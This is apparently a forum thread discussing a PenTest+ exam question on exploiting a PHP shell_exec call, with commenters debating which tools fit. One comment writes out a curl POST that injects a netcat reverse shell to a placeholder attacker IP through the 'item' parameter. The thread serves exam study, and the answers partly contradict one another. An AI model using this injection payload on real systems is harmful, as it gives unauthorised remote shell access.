Exam PT1-002 topic 1 question 51 discussion

I think this should be C. It looks more like a command that takes the user input directly, and therefore it's prone to SQLi, therefore, I would attempt using Burp suite and Dirb for the attack.

It’s b, here’s why: echo shell exec("/http/www/cgi-bin/queryitem <—— This line indicates you can execute a shell if you wanted to. Netcat is for you to open your listener nc -nlvp and receive the shell, in order for you to execute the webshell, you need you make a request via curl.

Netcat and cURL could be used to exploit this vulnerability. The penetration tester could use cURL to send a request that includes a command to execute a shell, and Netcat to listen for the shell connection and interact with it. In this case, the command to execute a shell could be included in the POST request to the PHP script, like this: curl -X POST -d "item=; nc [attacker IP] [attacker port] -e /bin/bash" http://[target IP]/script.php This command would send a POST request to the script with the value of the "item" parameter set to a command that will execute a shell and connect it back to the attacker's machine using Netcat. Once the request is sent, the attacker can use Netcat to listen for the connection and interact with the shell, allowing them to execute commands on the target system.

Shell Exec = Reverse Shell with netcat

I think the answer is B. you can make a command injection with curl POST and start a reverse shell with the netcat.

Hydra is more cracker tools. and Crunch is wordlist tool. I dont think so it is right answer and C makes more sense to attack

I think A is correct, due to fact that the DIRB is a tool for enumerating directories on webserver so it won't help us with making proper query